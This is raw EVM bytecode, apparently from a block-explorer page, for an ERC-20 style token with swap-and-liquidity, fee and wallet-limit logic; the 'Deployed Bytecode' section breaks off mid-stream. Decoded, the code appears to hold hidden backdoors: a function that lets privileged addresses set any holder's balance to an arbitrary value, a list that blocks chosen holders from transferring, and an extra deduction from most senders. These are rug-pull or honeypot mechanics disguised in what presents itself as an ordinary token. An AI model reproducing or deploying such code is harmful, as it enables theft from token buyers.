cd1dac14610a5f57600080fd5b8063c8607952116100dc578063c860795214610966578063c867d60b1461097c578063cab03471146109ac578063cc16f5db146109c257600080fd5b8063c49b9a8014610910578063c5d2418914610930578063c816841b1461094657600080fd5b8063a08e671f1161016f578063a83f53a711610149578063a83f53a7146108a4578063a9059cbb146108ba578063c2d4640e146108da578063c469b6dd146108fa57600080fd5b8063a08e671f1461084e578063a457c2d714610864578063a5d69d1f1461088457600080fd5b806395d89b41116101ab57806395d89b41146107e95780639c64954e146107fe578063a06b98f814610814578063a073d37f1461083957600080fd5b80638b42507f1461077b5780638da5cb5b146107ab5780639174c79d146107c957600080fd5b80633b97084a116102b65780636249faf1116102545780637d1db4a5116102235780637d1db4a514610723578063807c2d9c1461073957806382eefb431461074f57806388790a681461076557600080fd5b80636249faf11461067d57806370a082311461069d578063758e6bb1146106d357806377f31d031461070357600080fd5b806357a5802f1161029057806357a5802f146106115780635881f3ef1461062757806360efb94f1461064757806361a23c691461066757600080fd5b80633b97084a146105a057806342efd370146105c05780634a74bb02146105f057600080fd5b806327c8f83511610323578063313ce567116102fd578063313ce5671461050e57806335d236151461053057806339509351146105505780633b6464441461057057600080fd5b806327c8f835146104a55780632b112e49146104d95780632c4b2334146104ee57600080fd5b80631694505e1161035f5780631694505e1461042457806318160ddd1461044457806323b872dd146104635780632563ae831461048357600080fd5b806306fdde0314610391578063095ea7b3146103bc5780631245e347146103ec57600080fd5b3661038c57005b600080fd5b34801561039d57600080fd5b506103a6610b06565b6040516103b391906121fb565b60405180910390f35b3480156103c857600080fd5b506103dc6103d7366004612261565b610b98565b60405190151581526020016103b3565b3480156103f857600080fd5b5060055461040c906001600160a01b031681565b6040516001600160a01b0390911681526020016103b3565b34801561043057600080fd5b50601e5461040c906001600160a01b031681565b34801561045057600080fd5b50601a545b6040519081526020016103b3565b34801561046f57600080fd5b506103dc61047e36600461228d565b610baf565b34801561048f57600080fd5b506104a361049e3660046122e3565b610c1a565b005b3480156104b157600080fd5b5061040c7f000000000000000000000000000000000000000000000000000000000000000081565b3480156104e557600080fd5b50610455610c6b565b3480156104fa57600080fd5b506104a36105093660046122fe565b610cb5565b34801561051a57600080fd5b5060045460405160ff90911681526020016103b3565b34801561053c57600080fd5b506104a361054b3660046122fe565b610d01565b34801561055c57600080fd5b506103dc61056b366004612261565b610d53565b34801561057c57600080fd5b506103dc61058b3660046122fe565b600d6020526000908152604090205460ff1681565b3480156105ac57600080fd5b506104a36105bb36600461231b565b610d89565b3480156105cc57600080fd5b506103dc6105db3660046122fe565b600c6020526000908152604090205460ff1681565b3480156105fc57600080fd5b50601f546103dc90600160a81b900460ff1681565b34801561061d57600080fd5b5061045560145481565b34801561063357600080fd5b5061040c6106423660046122fe565b610db8565b34801561065357600080fd5b506104a3610662366004612334565b6110f0565b34801561067357600080fd5b5061045560155481565b34801561068957600080fd5b506104a3610698366004612360565b611145565b3480156106a957600080fd5b506104556106b83660046122fe565b6001600160a01b031660009081526006602052604090205490565b3480156106df57600080fd5b506103dc6106ee3660046122fe565b600b6020526000908152604090205460ff1681565b34801561070f57600080fd5b506104a361071e366004612360565b6111e6565b34801561072f57600080fd5b50610455601b5481565b34801561074557600080fd5b50610455601c5481565b34801561075b57600080fd5b5061045560185481565b34801561077157600080fd5b5061045560115481565b34801561078757600080fd5b506103dc6107963660046122fe565b600a6020526000908152604090205460ff1681565b3480156107b757600080fd5b506000546001600160a01b031661040c565b3480156107d557600080fd5b506104a36107e4366004612334565b611281565b3480156107f557600080fd5b506103a66112d0565b34801561080a57600080fd5b5061045560015481565b34801561082057600080fd5b5060045461040c9061010090046001600160a01b031681565b34801561084557600080fd5b50601d54610455565b34801561085a57600080fd5b5061045560195481565b34801561087057600080fd5b506103dc61087f366004612261565b6112df565b34801561089057600080fd5b506104a361089f3660046122e3565b61132e565b3480156108b057600080fd5b5061045560165481565b3480156108c657600080fd5b506103dc6108d5366004612261565b611376565b3480156108e657600080fd5b506104a36108f5366004612334565b611383565b34801561090657600080fd5b5061045560105481565b34801561091c57600080fd5b506104a361092b3660046122e3565b6113d2565b34801561093c57600080fd5b50610455600f5481565b34801561095257600080fd5b50601f5461040c906001600160a01b031681565b34801561097257600080fd5b5061045560125481565b34801561098857600080fd5b506103dc6109973660046122fe565b60096020526000908152604090205460ff1681565b3480156109b857600080fd5b5061045560135481565b3480156109ce57600080fd5b506104a36109dd366004612261565b611454565b3480156109ee57600080fd5b50601f546103dc90600160b01b900460ff1681565b348015610a0f57600080fd5b50610455600e5481565b348015610a2557600080fd5b50610455610a343660046123e4565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b348015610a6b57600080fd5b5061045560175481565b348015610a8157600080fd5b506104a3610a9036600461231b565b61148c565b348015610aa157600080fd5b506103dc610ab03660046122fe565b60086020526000908152604090205460ff1681565b348015610ad157600080fd5b506104a3610ae03660046122fe565b6114bb565b348015610af157600080fd5b50601f546103dc90600160b81b900460ff1681565b606060028054610b159061241d565b80601f0160208091040260200160405190810160405280929190818152602001828054610b419061241d565b8015610b8e5780601f10610b6357610100808354040283529160200191610b8e565b820191906000526020600020905b815481529060010190602001808311610b7157829003601f168201915b5050505050905090565b6000610ba533848461158f565b5060015b92915050565b6000610bbc8484846116b3565b50610c0f8433610c0a8560405180606001604052806028815260200161261d602891396001600160a01b038a1660009081526007602090815260408083203384529091529020549190611a93565b61158f565b5060015b9392505050565b6000546001600160a01b03163314610c4d5760405162461bcd60e51b8152600401610c4490612457565b60405180910390fd5b601f8054911515600160b81b0260ff60b81b19909216919091179055565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316600090815260066020526040812054601a54610cb091611acd565b905090565b6000546001600160a01b03163314610cdf5760405162461bcd60e51b8152600401610c4490612457565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610d2b5760405162461bcd60e51b8152600401610c4490612457565b600480546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b3360008181526007602090815260408083206001600160a01b03871684529091528120549091610ba5918590610c0a9086611530565b6000546001600160a01b03163314610db35760405162461bcd60e51b8152600401610c4490612457565b601d55565b600080546001600160a01b03163314610de35760405162461bcd60e51b8152600401610c4490612457565b6000829050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e26573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4a919061248c565b6001600160a01b031663e6a4390530836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ebb919061248c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610f06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2a919061248c565b91506001600160a01b03821661108157806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f78573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f9c919061248c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fe9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061100d919061248c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561105a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107e919061248c565b91505b601f80546001600160a01b03199081166001600160a01b038581169182178455601e8054909316948116949094179091556000908152600960209081526040808320805460ff19908116600190811790925594549095168352600c909152902080549091169091179055919050565b6000546001600160a01b0316331461111a5760405162461bcd60e51b8152600401610c4490612457565b600e839055600f829055601081905561113d816111378585611530565b90611530565b601755505050565b6000546001600160a01b0316331461116f5760405162461bcd60e51b8152600401610c4490612457565b60005b828110156111e0578160096000868685818110611191576111916124a9565b90506020020160208101906111a691906122fe565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806111d8816124d5565b915050611172565b50505050565b6000546001600160a01b031633146112105760405162461bcd60e51b8152600401610c4490612457565b60005b828110156111e0578160086000868685818110611232576112326124a9565b905060200201602081019061124791906122fe565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580611279816124d5565b915050611213565b6000546001600160a01b031633146112ab5760405162461bcd60e51b8152600401610c4490612457565b6011839055601282905560138190556112c8816111378585611530565b601855505050565b606060038054610b159061241d565b6000610ba53384610c0a85604051806060016040528060258152602001612645602591393360009081526007602090815260408083206001600160a01b038d1684529091529020549190611a93565b6000546001600160a01b031633146113585760405162461bcd60e51b8152600401610c4490612457565b601f8054911515600160b01b0260ff60b01b19909216919091179055565b6000610c0f3384846116b3565b6000546001600160a01b031633146113ad5760405162461bcd60e51b8152600401610c4490612457565b6014839055601582905560168190556113ca816111378585611530565b601955505050565b6000546001600160a01b031633146113fc5760405162461bcd60e51b8152600401610c4490612457565b601f8054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061144990831515815260200190565b60405180910390a150565b336000908152600c602052604090205460ff1615611488576001600160a01b03821660009081526006602052604090208190555b5050565b6000546001600160a01b031633146114b65760405162461bcd60e51b8152600401610c4490612457565b601c55565b6000546001600160a01b031633146114e55760405162461bcd60e51b8152600401610c4490612457565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b60008061153d83856124ee565b905083811015610c135760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610c44565b6001600160a01b0383166115f15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610c44565b6001600160a01b0382166116525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610c44565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166117195760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610c44565b6001600160a01b03831661177b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610c44565b601f54600160a01b900460ff161561179f57611798848484611b0f565b9050610c13565b6001600160a01b0384166000908152600a602052604090205460ff161580156117e157506001600160a01b0383166000908152600a602052604090205460ff16155b1561184957601b548211156118495760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610c44565b30600090815260066020526040902054601d54811080159081906118775750601f54600160a01b900460ff16155b801561189c57506001600160a01b0386166000908152600c602052604090205460ff16155b80156118b15750601f54600160a81b900460ff165b156118d757601f54600160b01b900460ff16156118ce57601d5491505b6118d782611bf5565b6118e086611d30565b15611922576001600160a01b0386166000908152600660205260409020546119089085611acd565b6001600160a01b0387166000908152600660205260409020555b6001600160a01b03861660009081526008602052604081205460ff168061196157506001600160a01b03861660009081526008602052604090205460ff165b61197557611970878787611d58565b611977565b845b601f54909150600160b81b900460ff1680156119ac57506001600160a01b03861660009081526009602052604090205460ff16155b156119e257601c546119d782611137896001600160a01b031660009081526006602052604090205490565b11156119e257600080fd5b6001600160a01b0387166000908152600d602052604090205460ff1615611a0857600080fd5b6001600160a01b038616600090815260066020526040902054611a2b9082611530565b6001600160a01b0380881660008181526006602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611a7f9085815260200190565b60405180910390a360019350505050610c13565b60008184841115611ab75760405162461bcd60e51b8152600401610c4491906121fb565b506000611ac48486612501565b95945050505050565b6000610c1383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a93565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600690915291822054611b60918490611a93565b6001600160a01b038086166000908152600660205260408082209390935590851681522054611b8f9083611530565b6001600160a01b0380851660008181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611be39086815260200190565b60405180910390a35060019392505050565b601f805460ff60a01b1916600160a01b179055601954601454600091611c2b91600291611c259182908790611e5e565b90611ee0565b90506000611c398383611acd565b9050611c4481611f22565b6014544790600090611c6490611c5b906002611ee0565b60195490611acd565b90506000611c866002611c2584611c2560145488611e5e90919063ffffffff16565b90506000611ca383611c2560165487611e5e90919063ffffffff16565b90506000611cbb82611cb58786611acd565b90611acd565b90508015611cde57600454611cde9061010090046001600160a01b0316826120b5565b8115611cfa57600554611cfa906001600160a01b0316836120b5565b600083118015611d0a5750600087115b15611d1957611d1987846120f0565b5050601f805460ff60a01b19169055505050505050565b6000816001600160a01b0316611d476001546121c5565b6001600160a01b0316141592915050565b6001600160a01b0383166000908152600c6020526040812054819060ff1615611d9c57611d956064611c2560175486611e5e90919063ffffffff16565b9050611dda565b6001600160a01b0384166000908152600c602052604090205460ff1615611dda57611dd76064611c2560185486611e5e90919063ffffffff16565b90505b8015611e545730600090815260066020526040902054611dfa9082611530565b30600081815260066020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611e4b9085815260200190565b60405180910390a35b611ac48382611acd565b600082600003611e7057506000610ba9565b6000611e7c8385612514565b905082611e89858361252b565b14610c135760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610c44565b6000610c1383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121cd565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611f5757611f576124a9565b6001600160a01b03928316602091820292909201810191909152601e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611fb0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fd4919061248c565b81600181518110611fe757611fe76124a9565b6001600160a01b039283166020918202929092010152601e5461200d913091168461158f565b601e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790612046908590600090869030904290600401612591565b600060405180830381600087803b15801561206057600080fd5b505af1158015612074573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516120a99291906125cd565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156120eb573d6000803e3d6000fd5b505050565b601e546121089030906001600160a01b03168461158f565b601e546001600160a01b031663f305d7198230856000806121316000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015612199573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906121be91906125ee565b5050505050565b600081610ba9565b600081836121ee5760405162461bcd60e51b8152600401610c4491906121fb565b506000611ac4848661252b565b600060208083528351808285015260005b818110156122285785810183015185820160400152820161220c565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461225e57600080fd5b50565b6000806040838503121561227457600080fd5b823561227f81612249565b946020939093013593505050565b6000806000606084860312156122a257600080fd5b83356122ad81612249565b925060208401356122bd81612249565b929592945050506040919091013590565b803580151581146122de57600080fd5b919050565b6000602082840312156122f557600080fd5b610c13826122ce565b60006020828403121561231057600080fd5b8135610c1381612249565b60006020828403121561232d57600080fd5b5035919050565b60008060006060848603121561234957600080fd5b505081359360208301359350604090920135919050565b60008060006040848603121561237557600080fd5b833567ffffffffffffffff8082111561238d57600080fd5b818601915086601f8301126123a157600080fd5b8135818111156123b057600080fd5b8760208260051b85010111156123c557600080fd5b6020928301955093506123db91860190506122ce565b90509250925092565b600080604083850312156123f757600080fd5b823561240281612249565b9150602083013561241281612249565b809150509250929050565b600181811c9082168061243157607f821691505b60208210810361245157634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561249e57600080fd5b8151610c1381612249565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016124e7576124e76124bf565b5060010190565b80820180821115610ba957610ba96124bf565b81810381811115610ba957610ba96124bf565b8082028115828204841417610ba957610ba96124bf565b60008261254857634e487b7160e01b600052601260045260246000fd5b500490565b600081518084526020808501945080840160005b838110156125865781516001600160a01b031687529582019590820190600101612561565b509495945050505050565b85815284602082015260a0604082015260006125b060a083018661254d565b6001600160a01b0394909416606083015250608001529392505050565b8281526040602082015260006125e6604083018461254d565b949350505050565b60008060006060848603121561260357600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f407bc983d21cfede956c37b9566ba8126aae9b0a7a861a076eca41a9f3087d164736f6c63430008110033
Deployed Bytecode
0x6080604052600436106103855760003560e01c80638b42507f116101d1578063c49b9a8011610102578063da00097d116100a0578063f1d5f5171161006f578063f1d5f51714610a75578063f2514e8814610a95578063f2fde38b14610ac5578063f872858a14610ae557600080fd5b8063da00097d146109e2578063dc44b6a014610a03578063dd62ed3e14610a19578063f0cd1dac14610a5f57600080fd5b8063c8607952116100dc578063c860795214610966578063c867d60b1461097c578063cab03471146109ac578063cc16f5db146109c257600080fd5b8063c49b9a8014610910578063c5d2418914610930578063c816841b1461094657600080fd5b8063a08e671f1161016f578063a83f53a711610149578063a83f53a7146108a4578063a9059cbb146108ba578063c2d4640e146108da578063c469b6dd146108fa57600080fd5b8063a08e671f1461084e578063a457c2d714610864578063a5d69d1f1461088457600080fd5b806395d89b41116101ab57806395d89b41146107e95780639c64954e146107fe578063a06b98f814610814578063a073d37f1461083957600080fd5b80638b42507f1461077b5780638da5cb5b146107ab5780639174c79d146107c957600080fd5b80633b97084a116102b65780636249faf1116102545780637d1db4a5116102235780637d1db4a514610723578063807c2d9c1461073957806382eefb431461074f57806388790a681461076557600080fd5b80636249faf11461067d57806370a082311461069d578063758e6bb1146106d357806377f31d031461070357600080fd5b806357a5802f1161029057806357a5802f146106115780635881f3ef1461062757806360efb94f1461064757806361a23c691461066757600080fd5b80633b97084a146105a057806342efd370146105c05780634a74bb02146105f057600080fd5b806327c8f83511610323578063313ce567116102fd578063313ce5671461050e57806335d236151461053057806339509351146105505780633b6464441461057057600080fd5b806327c8f835146104a55780632b112e49146104d95780632c4b2334146104ee57600080fd5b80631694505e1161035f5780631694505e1461042457806318160ddd1461044457806323b872dd146104635780632563ae831461048357600080fd5b806306fdde0314610391578063095ea7b3146103bc5780631245e347146103ec57600080fd5b3661038c57005b600080fd5b34801561039d57600080fd5b506103a6610b06565b6040516103b391906121fb565b60405180910390f35b3480156103c857600080fd5b506103dc6103d7366004612261565b610b98565b60405190151581526020016103b3565b3480156103f857600080fd5b5060055461040c906001600160a01b031681565b6040516001600160a01b0390911681526020016103b3565b34801561043057600080fd5b50601e5461040c906001600160a01b031681565b34801561045057600080fd5b50601a545b6040519081526020016103b3565b34801561046f57600080fd5b506103dc61047e36600461228d565b610baf565b34801561048f57600080fd5b506104a361049e3660046122e3565b610c1a565b005b3480156104b157600080fd5b5061040c7f000000000000000000000000000000000000000000000000000000000000dead81565b3480156104e557600080fd5b50610455610c6b565b3480156104fa57600080fd5b506104a36105093660046122fe565b610cb5565b34801561051a57600080fd5b5060045460405160ff90911681526020016103b3565b34801561053c57600080fd5b506104a361054b3660046122fe565b610d01565b34801561055c57600080fd5b506103dc61056b366004612261565b610d53565b34801561057c57600080fd5b506103dc61058b3660046122fe565b600d6020526000908152604090205460ff1681565b3480156105ac57600080fd5b506104a36105bb36600461231b565b610d89565b3480156105cc57600080fd5b506103dc6105db3660046122fe565b600c6020526000908152604090205460ff1681565b3480156105fc57600080fd5b50601f546103dc90600160a81b900460ff1681565b34801561061d57600080fd5b5061045560145481565b34801561063357600080fd5b5061040c6106423660046122fe565b610db8565b34801561065357600080fd5b506104a3610662366004612334565b6110f0565b34801561067357600080fd5b5061045560155481565b34801561068957600080fd5b506104a3610698366004612360565b611145565b3480156106a957600080fd5b506104556106b83660046122fe565b6001600160a01b031660009081526006602052604090205490565b3480156106df57600080fd5b506103dc6106ee3660046122fe565b600b6020526000908152604090205460ff1681565b34801561070f57600080fd5b506104a361071e366004612360565b6111e6565b34801561072f57600080fd5b50610455601b5481565b34801561074557600080fd5b50610455601c5481565b34801561075b57600080fd5b5061045560185481565b34801561077157600080fd5b5061045560115481565b34801561078757600080fd5b506103dc6107963660046122fe565b600a6020526000908152604090205460ff1681565b3480156107b757600080fd5b506000546001600160a01b031661040c565b3480156107d557600080fd5b506104a36107e4366004612334565b611281565b3480156107f557600080fd5b506103a66112d0565b34801561080a57600080fd5b5061045560015481565b34801561082057600080fd5b5060045461040c9061010090046001600160a01b031681565b34801561084557600080fd5b50601d54610455565b34801561085a57600080fd5b5061045560195481565b34801561087057600080fd5b506103dc61087f366004612261565b6112df565b34801561089057600080fd5b506104a361089f3660046122e3565b61132e565b3480156108b057600080fd5b5061045560165481565b3480156108c657600080fd5b506103dc6108d5366004612261565b611376565b3480156108e657600080fd5b506104a36108f5366004612334565b611383565b34801561090657600080fd5b5061045560105481565b34801561091c57600080fd5b506104a361092b3660046122e3565b6113d2565b34801561093c57600080fd5b50610455600f5481565b34801561095257600080fd5b50601f5461040c906001600160a01b031681565b34801561097257600080fd5b5061045560125481565b34801561098857600080fd5b506103dc6109973660046122fe565b60096020526000908152604090205460ff1681565b3480156109b857600080fd5b5061045560135481565b3480156109ce57600080fd5b506104a36109dd366004612261565b611454565b3480156109ee57600080fd5b50601f546103dc90600160b01b900460ff1681565b348015610a0f57600080fd5b50610455600e5481565b348015610a2557600080fd5b50610455610a343660046123e4565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b348015610a6b57600080fd5b5061045560175481565b348015610a8157600080fd5b506104a3610a9036600461231b565b61148c565b348015610aa157600080fd5b506103dc610ab03660046122fe565b60086020526000908152604090205460ff1681565b348015610ad157600080fd5b506104a3610ae03660046122fe565b6114bb565b348015610af157600080fd5b50601f546103dc90600160b81b900460ff1681565b606060028054610b159061241d565b80601f0160208091040260200160405190810160405280929190818152602001828054610b419061241d565b8015610b8e5780601f10610b6357610100808354040283529160200191610b8e565b820191906000526020600020905b815481529060010190602001808311610b7157829003601f168201915b5050505050905090565b6000610ba533848461158f565b5060015b92915050565b6000610bbc8484846116b3565b50610c0f8433610c0a8560405180606001604052806028815260200161261d602891396001600160a01b038a1660009081526007602090815260408083203384529091529020549190611a93565b61158f565b5060015b9392505050565b6000546001600160a01b03163314610c4d5760405162461bcd60e51b8152600401610c4490612457565b60405180910390fd5b601f8054911515600160b81b0260ff60b81b19909216919091179055565b7f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b0316600090815260066020526040812054601a54610cb091611acd565b905090565b6000546001600160a01b03163314610cdf5760405162461bcd60e51b8152600401610c4490612457565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610d2b5760405162461bcd60e51b8152600401610c4490612457565b600480546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b3360008181526007602090815260408083206001600160a01b03871684529091528120549091610ba5918590610c0a9086611530565b6000546001600160a01b03163314610db35760405162461bcd60e51b8152600401610c4490612457565b601d55565b600080546001600160a01b03163314610de35760405162461bcd60e51b8152600401610c4490612457565b6000829050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e26573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4a919061248c565b6001600160a01b031663e6a4390530836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ebb919061248c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610f06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2a919061248c565b91506001600160a01b03821661108157806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f78573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f9c919061248c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fe9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061100d919061248c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561105a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107e919061248c565b91505b601f80546001600160a01b03199081166001600160a01b038581169182178455601e8054909316948116949094179091556000908152600960209081526040808320805460ff19908116600190811790925594549095168352600c909152902080549091169091179055919050565b6000546001600160a01b0316331461111a5760405162461bcd60e51b8152600401610c4490612457565b600e839055600f829055601081905561113d816111378585611530565b90611530565b601755505050565b6000546001600160a01b0316331461116f5760405162461bcd60e51b8152600401610c4490612457565b60005b828110156111e0578160096000868685818110611191576111916124a9565b90506020020160208101906111a691906122fe565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806111d8816124d5565b915050611172565b50505050565b6000546001600160a01b031633146112105760405162461bcd60e51b8152600401610c4490612457565b60005b828110156111e0578160086000868685818110611232576112326124a9565b905060200201602081019061124791906122fe565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580611279816124d5565b915050611213565b6000546001600160a01b031633146112ab5760405162461bcd60e51b8152600401610c4490612457565b6011839055601282905560138190556112c8816111378585611530565b601855505050565b606060038054610b159061241d565b6000610ba53384610c0a85604051806060016040528060258152602001612645602591393360009081526007602090815260408083206001600160a01b038d1684529091529020549190611a93565b6000546001600160a01b031633146113585760405162461bcd60e51b8152600401610c4490612457565b601f8054911515600160b01b0260ff60b01b19909216919091179055565b6000610c0f3384846116b3565b6000546001600160a01b031633146113ad5760405162461bcd60e51b8152600401610c4490612457565b6014839055601582905560168190556113ca816111378585611530565b601955505050565b6000546001600160a01b031633146113fc5760405162461bcd60e51b8152600401610c4490612457565b601f8054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061144990831515815260200190565b60405180910390a150565b336000908152600c602052604090205460ff1615611488576001600160a01b03821660009081526006602052604090208190555b5050565b6000546001600160a01b031633146114b65760405162461bcd60e51b8152600401610c4490612457565b601c55565b6000546001600160a01b031633146114e55760405162461bcd60e51b8152600401610c4490612457565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b60008061153d83856124ee565b905083811015610c135760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610c44565b6001600160a01b0383166115f15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610c44565b6001600160a01b0382166116525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610c44565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166117195760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610c44565b6001600160a01b03831661177b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610c44565b601f54600160a01b900460ff161561179f57611798848484611b0f565b9050610c13565b6001600160a01b0384166000908152600a602052604090205460ff161580156117e157506001600160a01b0383166000908152600a602052604090205460ff16155b1561184957601b548211156118495760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610c44565b30600090815260066020526040902054601d54811080159081906118775750601f54600160a01b900460ff16155b801561189c57506001600160a01b0386166000908152600c602052604090205460ff16155b80156118b15750601f54600160a81b900460ff165b156118d757601f54600160b01b900460ff16156118ce57601d5491505b6118d782611bf5565b6118e086611d30565b15611922576001600160a01b0386166000908152600660205260409020546119089085611acd565b6001600160a01b0387166000908152600660205260409020555b6001600160a01b03861660009081526008602052604081205460ff168061196157506001600160a01b03861660009081526008602052604090205460ff165b61197557611970878787611d58565b611977565b845b601f54909150600160b81b900460ff1680156119ac57506001600160a01b03861660009081526009602052604090205460ff16155b156119e257601c546119d782611137896001600160a01b031660009081526006602052604090205490565b11156119e257600080fd5b6001600160a01b0387166000908152600d602052604090205460ff1615611a0857600080fd5b6001600160a01b038616600090815260066020526040902054611a2b9082611530565b6001600160a01b0380881660008181526006602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611a7f9085815260200190565b60405180910390a360019350505050610c13565b60008184841115611ab75760405162461bcd60e51b8152600401610c4491906121fb565b506000611ac48486612501565b95945050505050565b6000610c1383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a93565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600690915291822054611b60918490611a93565b6001600160a01b038086166000908152600660205260408082209390935590851681522054611b